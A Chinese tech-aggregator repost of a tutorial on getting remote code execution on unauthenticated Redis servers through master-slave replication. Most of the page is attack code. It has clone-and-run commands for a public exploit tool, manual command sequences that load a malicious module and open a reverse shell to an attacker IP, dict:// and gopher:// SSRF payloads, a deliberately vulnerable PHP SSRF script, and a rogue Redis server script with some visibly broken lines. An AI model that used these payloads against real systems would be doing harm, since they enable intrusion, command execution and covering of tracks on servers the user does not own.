首页 / REDIS / Redis主从复制getshell技巧

Redis主从复制getshell技巧

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了Redis主从复制getshell技巧，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含4130字，纯文字阅读大概需要6分钟。

内容图文

Redis未授权漏洞常见的漏洞利用方式：

Windows下，绝对路径写webshell 、写入启动项。
Linux下，绝对路径写webshell 、公私钥认证获取root权限、利用contrab计划任务反弹shell。

基于Redis主从复制的机制，可以通过FULLRESYNC将任意文件同步到从节点（slave），这就使得它可以轻易实现以上任何一种漏洞利用方式，而且存在着更多的可能性，等待被探索。

一、Redis 主从复制一键自动化RCE

在Reids 4.x之后，Redis新增了模块功能，通过外部拓展，可以实现在Redis中实现一个新的Redis命令，通过写C语言编译并加载恶意的.so文件，达到代码执行的目的。

通过脚本实现一键自动化getshell：

1、生成恶意.so文件，下载RedisModules-ExecuteCommand使用make编译即可生成。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

2、攻击端执行： python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt 
python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

二、Redis主从复制利用原理

首先，我们通过一个简单的测试，来熟悉一下slave和master的握手协议过程：

1、监听本地1234端口

nc -lvvp 1234

2、将Redis服务器设置为从节点(slave)

slaveof 127.0.0.11234

3、使用nc模拟Redis主服务器，进行模拟Redis主从交互过程（红色部分为slave发送的命令）：技术分享图片

技术分享图片

以上，通过nc进行模拟Redis主从复制的交互过程，同理，如果构建模拟一个Redis服务器，利用Redis主从复制的机制，那么就可以通过FULLRESYNC将任意文件同步到从节点。

三、Redis主从复制手动挡

手动操作过程记录：

1、编写脚本，构造恶意Redis服务器，监听本地端口1234，加载exp.so。

python RogueServer.py --lport 1234 --exp exp.so

技术分享图片

2、通过未授权访问连入要攻击的redis服务器。

执行相关命令：

                #设置redis的备份路径为当前目录
    config 
                set dir ./
#设置备份文件名为exp.so，默认为dump.rdb
    config set dbfilename exp.so
#设置主服务器IP和端口
    slaveof 192.168.172.1291234  
#加载恶意模块
    module load ./exp.so
#切断主从，关闭复制功能
    slaveof no one 
#执行系统命令
    system.exec ‘whoami‘
    system.rev 127.0.0.19999    
#通过dump.rdb文件恢复数据
    config set dbfilename dump.rdb
#删除exp.so
    system.exec ‘rm ./exp.so‘
#卸载system模块的加载
    module unload system

成功执行系统命令：

技术分享图片

四、SSRF+Redis 反弹shell

参照Redis手动getshell的过程，可轻易实现SSRF+Redis反弹shell。

以curl为例，漏洞代码为ssrf.php:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET[‘url‘]);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>

环境准备：

模拟内网未授权Redis服务器：192.168.172.131
模拟攻击者机器：192.168.172.129
在攻击者机器上构建恶意Redis服务器，同时监听本地9999端口等待shell返回。

1、利用dict协议反弹shell

                #查看当前redis的相关配置
ssrf.php?url=dict://192.168.172.131:6379/info
#设置备份文件名
ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so
#连接恶意Redis服务器
ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234
#加载恶意模块
ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so
#切断主从复制
ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one
#执行系统命令
 ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999

2、利用gopher协议反弹shell

                #设置文件名，连接恶意Redis服务器
gopher:
                //
                192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit
                
#加载exp.so，反弹shell
gopher:
                //
                192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit

3、利用这两种协议，都可以成功获取shell。

技术分享图片

附：Redis服务端模拟脚本

                import socket

                from
                 time import sleep

                from
                 optparse import OptionParser

def RogueServer(lport):
    resp = ""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    conn,address = sock.accept()  
    sleep(5)
    while True:    
        data = conn.recv(1024)
        if"PING"in data:
            resp="+PONG"+CLRF
            conn.send(resp)
        elif "REPLCONF"in data:
            resp="+OK"+CLRF
            conn.send(resp)
        elif "PSYNC"in data or "SYNC"in data:
            resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            if type(resp) != bytes:
                resp =resp.encode()            
            conn.send(resp)    
        #elif "exit" in data:
            breakif __name__=="__main__":

    parser = OptionParser()                     
    parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")        
    parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")            

    (options , args )= parser.parse_args()
    lport = options.lp
    exp_filename = options.exp

    CLRF="\r\n"
    payload=open(exp_filename,"rb").read()
    print "Start listing on port: %s" %lport
    print "Load the payload:   %s" %exp_filename     
    RogueServer(lport)

原文：https://www.cnblogs.com/xiaozi/p/13089906.html

内容总结

以上是互联网集市为您收集整理的Redis主从复制getshell技巧全部内容，希望文章能够帮你解决Redis主从复制getshell技巧所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/1202447.html

来源：【匿名】

【上一篇】[2]supervisor的使用管理:实现对异常中断的子进程的自动重启(以redis为例)【下一篇】redis可以做什么？

更多 ►

【Redis主从复制getshell技巧】教程文章相关的互联网学习教程文章

Redis主从复制getshell技巧【代码】【图】

Redis未授权漏洞常见的漏洞利用方式：Windows下，绝对路径写webshell 、写入启动项。Linux下，绝对路径写webshell 、公私钥认证获取root权限、利用contrab计划任务反弹shell。基于Redis主从复制的机制，可以通过FULLRESYNC将任意文件同步到从节点（slave），这就使得它可以轻易实现以上任何一种漏洞利用方式，而且存在着更多的可能性，等待被探索。一、Redis 主从复制一键自动化RCE在Reids 4.x之后，Redis新增了模块功能，通过外部...

删除redis中指定key模式的数据的shell脚本【代码】

有很多场景，我们都需要删除redis中某些具有相似特征的key,即使是线上环境也是。如果key数量很小容易处理，如果这些key很多很多，必须通过scan命令循环扫描一一删除，如果直接执行keys命令会堵死redis服务。下面这个脚本就是通过循环扫码key再删除，直至结束。redis-del-keys.sh#!/bin/bash ##redis主机IP host=$1 ##redis端口 port=$2 ##key模式 pattern=$3 ##游标 cursor=0 ##退出信号 signal=0##循环获取key并删除 while [ $sig...

docker redis shell【代码】

docker中安装好redis后，运行 docker ps 指令，查看所有运行中的镜像信息然后运行docker inspect --format "{{ .State.Pid}}" <container id>获取到pid，然后再运行nsenter --target <pid> --mount --uts --ipc --net --pid进入容器里面，最后运行redis-cli连接root@***********:/# redis-cli 原文：http://www.cnblogs.com/sjjsxl/p/6423621.html

redis未授权反弹shell【图】

rt发现一处redis未授权，进行反弹shell。输入反弹命令：主机监听端口：反弹成功。原文：https://blog.51cto.com/13539934/2395206

Redis shell【代码】【图】

Redis shell命令参数功能redis-cli-r将一个命令执行多次-i每隔几秒执行一次-x和|一起接收前面地输出，并执行命令-c -a --scan/--pattern扫描指定模式地键--slave监控节点更新操作--rdb实例生成并发送RDB持久化文件--pipe --bigkeys提取占用内存比较大的键--eval执行Lua脚本--latency检测网络延迟--stat查看一些统计信息--raw/--no-row可以返回原始格式redis-benchmark-c 客户端并发数量-n <requests>客户端请求总量-q -r批量生成键...

jmeter的beanshell中redis校验

1、先确保jmeter引入redis import redis.clients.jedis.Jedis;public static String getValue(){ String data = "${i-code}"; String redis_ip = "172.16.64.6"; int port = 6379; Jedis jedis = new Jedis(redis_ip,port); jedis.auth("zD6MovvH6XO4Hfg"); jedis.select(0); String key = "jiajiao_manage_token_"+data; String value = jedis.get(key); return value; } String redis_token = getValue();if...

shell脚本一键在线安装redis数据库（使用函数实现）【代码】【图】

shell脚本一键在线安装redis数据库（使用函数实现）前面的文章给出了有关手工编译安装redis的流程，并且在模拟搭建redis集群时给出了在线安装redis的过程，于是就想着自己写好在线安装的redis脚本，本文主要使用shell函数来实现并且验证在线安装的过程，执行无误后就想着分享出来。 PS：系统环境为Centos7.4 脚本如下： #!/bin/bashfunction checkroot(){ if [ $UID -ne 0 ]thenecho "|---------------------------------------...

阿里云服务器 xshell 安装redis

一安装redis 1 创建redis的安装目录利用以下命令，切换到/usr/local路径cd /usr/local键入以下命令，新建一个redis目录，用于放置redis软件。mkdir redis2 下载并解压redis文件下载redis安装包wget http://download.redis.io/releases/redis-4.0.6.tar.gz 解压redis压缩文件tar -zxvf redis-4.0.6.tar.gz3 安装redis 安装gcc依赖，如果需要选择，键入y，回车yum install gcc切换到redis的解压目录中cd redis-4.0.6编译安装redi...

shell_exec-PHPRedis做Mysql中间件的几个问题？

我开发的网站是类似 youtube 的网站，网站打算使用 redis 主从+mysql 主从方式。大概的结构思路是这样的。 1.1 用户-->读--->redis 从--->(存在返回结果|结束|，不存在返回 0|继续下一步|)--->读 Mysql从--->（存在返回结果并写入redis，不存在返回 0 ，结束） 1.2 用户-->写--->写 Mysql 主--->写 redis主--->结束。（其实我希望直接写入到redis主中，然后再同步到MySQL主中，但是不知道有什么稳定成熟一点的方案，能使Redis主和M...

Redis运维之shell的使用——统计内存、定期备份、基准测试【代码】

使用Redis shell可以完成许多有意思的操作，使用也非常的简单，下面开始介绍。Redis-cliredis-cli的选项非常多，除了常用的-h、-p、-a外，下面在介绍几个很常用的选项。想查看所有选项的话可以使用redis-cli --help查看。--version查看redis版本# redis-cli --version redis-cli 5.0.5可以看到我当前的版本是5.0.5-r，-ir是repeat的缩写，表示重复几次的意思。i是interval的缩写，表示间隔多久（单位为妙）。比如执行ping命令，共执...

shell脚本监测redis服务自动重启【代码】

服务因意外挂掉，如何保证其自动重启，继续提供服务？？ shell通过while-do循环，用ps -ef|grep 检查loader进程是否正在运行，如果没有运行，则启动，这样就保证了崩溃挂掉的进程重新被及时启动。必须注意两点： ?? ??? ?1、ps |grep 一个进程时必须加上其路劲，否则容易grep到错误的结果； ?? ??? ?2、必须用 -v 从结果中去除grep命令自身，否则结果非空[root@tt ~]# ps -ef| grep redis redis??????678?????1??0 14:34 ?????????...

weblogic从ssrf到redis获取shell【代码】【图】

目录前言一、环境搭建和知识储备1.1、影响版本1.2、Docker搭建环境二、漏洞复现2.1、weblogic的SSRF漏洞2.2、weblogic的SSRF回显类型2.3、weblogic-SSRF漏洞判断POC三、漏洞利用3.1、利用redis获取shell3.1.1、redis写入webshell3.1.2、写入ssh免密登录3.1.3、计划任务反弹shell3.1.4、Redis主从复制getshell3.2、从ssrf到redis获取shell3.2.1、weblogic-ssrf的CRLF注入3.2.2、利用ssrf漏洞getshell 前言一、环境搭建和知识储备 1...

Weblogic ssrf+Redis Getshell学习【代码】【图】

redis能够写文件，因此可以做到写ssh的秘钥，写webshell，写计划任务等操作而ssrf可以访问内网的redis，那么就可以控制内网的redis进行上面的操作了镜像来源vulhub：https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf redis写shell 在默认情况下redis是没有密码的，也就是所谓的未授权访问首先要了解下需要使用到的redis的基本命令 config set dir '/xxx/xx' //指定数据库文件的目录 config set dbfilename 'xxx' ...

shell通过通道批量插入大量数据到redis

原文链接：https://segmentfault.com/a/1190000018412327?utm_source=tag-newest前言：当我们需要短时间内快速插入大量数据到redis中，就需要一个行之有效的方式。实践发现redis的(Redis Mass Insertion – Redis)是个比较高效的方法。借助于pipline插入首先通过简单的脚本生成例如如下的：SET Key0 Value0 SET Key1 Value1 ... SET KeyN ValueN 的目标文本文件。转码redis-cli中只支持dos格式的换行符 \r\n ，如果在Linux下、...

Redis未授权访问写Webshell和公私钥认证获取root权限【代码】【图】

0x01 什么是Redis未授权访问漏洞 Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的config 命令，可以进行写文件操作，...

REDIS - 技术教程分类

Redis 教程 Redis 简介 Redis 安装 Redis 配置 Redis 数据类型 Redis 命令 Redis 键(key) Redis 字符串(String) Redis 哈希(Hash) Redis 列表(List) Redis 集合(Set) Redis 有序集合(sorted set) Redis HyperLogLog Redis 发布订阅 Redis 事务 Redis 脚本 Redis 连接 Redis 服务器 Redis GEO Redis Stream Redis 数据备份与恢复 Redis 安全 Redis 性能测试 Redis 客户端连接 Redis 分区 Redis 全部

REDIS - 最热教程

redis中批量删除key的方法 redis设置密码，取消密码 node.js利用redis数据库缓存数据 PHP swoole和redis异步任务实现方法分析 Laravel使用Redis共享Session步骤详解 mac下卸载干净redis 如何通过命令行修改redis的配置使用Port Forwarding连接k8s集群的pod（...Redis入门（七）——Redis发布订阅 Redis学习笔记2-常用数据类型

首页 / REDIS / Redis主从复制getshell技巧

Redis主从复制getshell技巧

内容导读

内容图文

内容总结

内容备注

内容手机端

【Redis主从复制getshell技巧】教程文章相关的互联网学习教程文章

Redis主从复制getshell技巧【代码】【图】

删除redis中指定key模式的数据的shell脚本【代码】

docker redis shell【代码】

redis未授权反弹shell【图】

Redis shell【代码】【图】

jmeter的beanshell中redis校验

shell脚本一键在线安装redis数据库（使用函数实现）【代码】【图】

阿里云服务器 xshell 安装redis

shell_exec-PHPRedis做Mysql中间件的几个问题？

Redis运维之shell的使用——统计内存、定期备份、基准测试【代码】

shell脚本监测redis服务自动重启【代码】

weblogic从ssrf到redis获取shell【代码】【图】

Weblogic ssrf+Redis Getshell学习【代码】【图】

shell通过通道批量插入大量数据到redis

Redis未授权访问写Webshell和公私钥认证获取root权限【代码】【图】

SHELL - 相关标签

REDIS - 相关标签

REDIS - 技术教程分类

REDIS - 最新教程

REDIS - 最热教程